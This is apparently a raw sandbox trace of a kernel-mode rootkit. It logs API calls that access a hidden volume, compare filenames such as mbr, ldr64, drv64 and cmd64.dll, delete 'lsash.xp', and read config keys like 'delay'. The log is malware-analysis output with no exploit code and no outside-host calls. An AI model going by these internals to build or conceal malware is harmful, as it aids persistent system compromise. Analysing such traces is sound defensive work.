(lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.286] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.286] KeEnterCriticalRegion () [0130.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.286] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.286] IdePortDispatch () returned 0x103 [0130.286] KeWaitForMutexObject () returned 0x0 [0130.287] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.287] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.287] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.287] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.287] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.287] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.287] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.287] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.287] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.287] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.287] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.287] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.287] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.287] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.287] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.287] KeLeaveCriticalRegion () [0130.287] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.287] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.287] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.287] KeEnterCriticalRegion () [0130.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.287] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.287] IdePortDispatch () returned 0x103 [0130.287] KeWaitForMutexObject () returned 0x0 [0130.287] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.287] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.287] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.288] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.288] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.288] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.288] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.288] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.288] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.288] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.288] KeLeaveCriticalRegion () [0130.288] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.288] ReleaseMutex (hMutex=0x100) returned 1 [0130.288] Sleep (dwMilliseconds=0x2bf20) [0130.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70daf3d0, dwHighDateTime=0x1d24fa4)) [0130.295] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.295] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.295] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.295] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.295] KeEnterCriticalRegion () [0130.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.295] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.295] IdePortDispatch () returned 0x103 [0130.295] KeWaitForMutexObject () returned 0x0 [0130.295] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.296] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.296] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.296] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.296] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.296] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ce10 [0130.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.296] KeLeaveCriticalRegion () [0130.296] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.296] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.296] KeEnterCriticalRegion () [0130.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.296] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.296] KeLeaveCriticalRegion () [0130.296] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.296] KeEnterCriticalRegion () [0130.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.296] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.296] IdePortDispatch () returned 0x103 [0130.296] KeWaitForMutexObject () returned 0x0 [0130.296] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.296] KeLeaveCriticalRegion () [0130.296] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.296] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.296] KeEnterCriticalRegion () [0130.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.296] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d56000 [0130.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.297] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.297] IdePortDispatch () returned 0x103 [0130.297] KeWaitForMutexObject () returned 0x0 [0130.297] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.297] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.297] IdePortDispatch () returned 0x103 [0130.297] KeWaitForMutexObject () returned 0x0 [0130.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.297] KeLeaveCriticalRegion () [0130.297] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.298] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.298] KeEnterCriticalRegion () [0130.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.298] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.298] KeLeaveCriticalRegion () [0130.298] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.298] KeEnterCriticalRegion () [0130.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.298] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.298] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.298] KeLeaveCriticalRegion () [0130.298] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.298] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.298] KeEnterCriticalRegion () [0130.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.298] ExFreePoolWithTag (P=0xfffffa800294ce10, Tag=0x0) [0130.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.298] KeLeaveCriticalRegion () [0130.298] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.298] ReleaseMutex (hMutex=0xf0) returned 1 [0130.298] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.298] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.298] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.298] KeEnterCriticalRegion () [0130.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.299] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.299] IdePortDispatch () returned 0x103 [0130.299] KeWaitForMutexObject () returned 0x0 [0130.299] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.299] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.299] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.299] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.299] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.299] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c450 [0130.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.299] KeLeaveCriticalRegion () [0130.299] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.299] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.299] KeEnterCriticalRegion () [0130.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.299] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.299] KeLeaveCriticalRegion () [0130.299] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.299] KeEnterCriticalRegion () [0130.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.299] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.299] IdePortDispatch () returned 0x103 [0130.299] KeWaitForMutexObject () returned 0x0 [0130.300] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.300] KeLeaveCriticalRegion () [0130.300] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.300] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.300] KeEnterCriticalRegion () [0130.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.300] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d57000 [0130.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.300] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.300] IdePortDispatch () returned 0x103 [0130.300] KeWaitForMutexObject () returned 0x0 [0130.300] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.300] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.300] IdePortDispatch () returned 0x103 [0130.300] KeWaitForMutexObject () returned 0x0 [0130.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.300] KeLeaveCriticalRegion () [0130.301] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.301] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.301] KeEnterCriticalRegion () [0130.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.301] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.301] KeLeaveCriticalRegion () [0130.301] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.301] KeEnterCriticalRegion () [0130.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.301] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.301] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.301] KeLeaveCriticalRegion () [0130.301] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.301] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.301] KeEnterCriticalRegion () [0130.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.301] ExFreePoolWithTag (P=0xfffffa800294c450, Tag=0x0) [0130.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.301] KeLeaveCriticalRegion () [0130.301] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.301] ReleaseMutex (hMutex=0xf0) returned 1 [0130.301] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.302] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.302] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.302] KeEnterCriticalRegion () [0130.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.302] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.302] IdePortDispatch () returned 0x103 [0130.302] KeWaitForMutexObject () returned 0x0 [0130.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.302] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.302] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.302] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.302] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.302] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294df60 [0130.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.302] KeLeaveCriticalRegion () [0130.302] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.302] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.302] KeEnterCriticalRegion () [0130.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.302] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.302] KeLeaveCriticalRegion () [0130.302] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.302] KeEnterCriticalRegion () [0130.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.302] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.302] IdePortDispatch () returned 0x103 [0130.303] KeWaitForMutexObject () returned 0x0 [0130.303] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.303] KeLeaveCriticalRegion () [0130.303] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.303] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.303] KeEnterCriticalRegion () [0130.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.303] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d58000 [0130.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.303] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.303] IdePortDispatch () returned 0x103 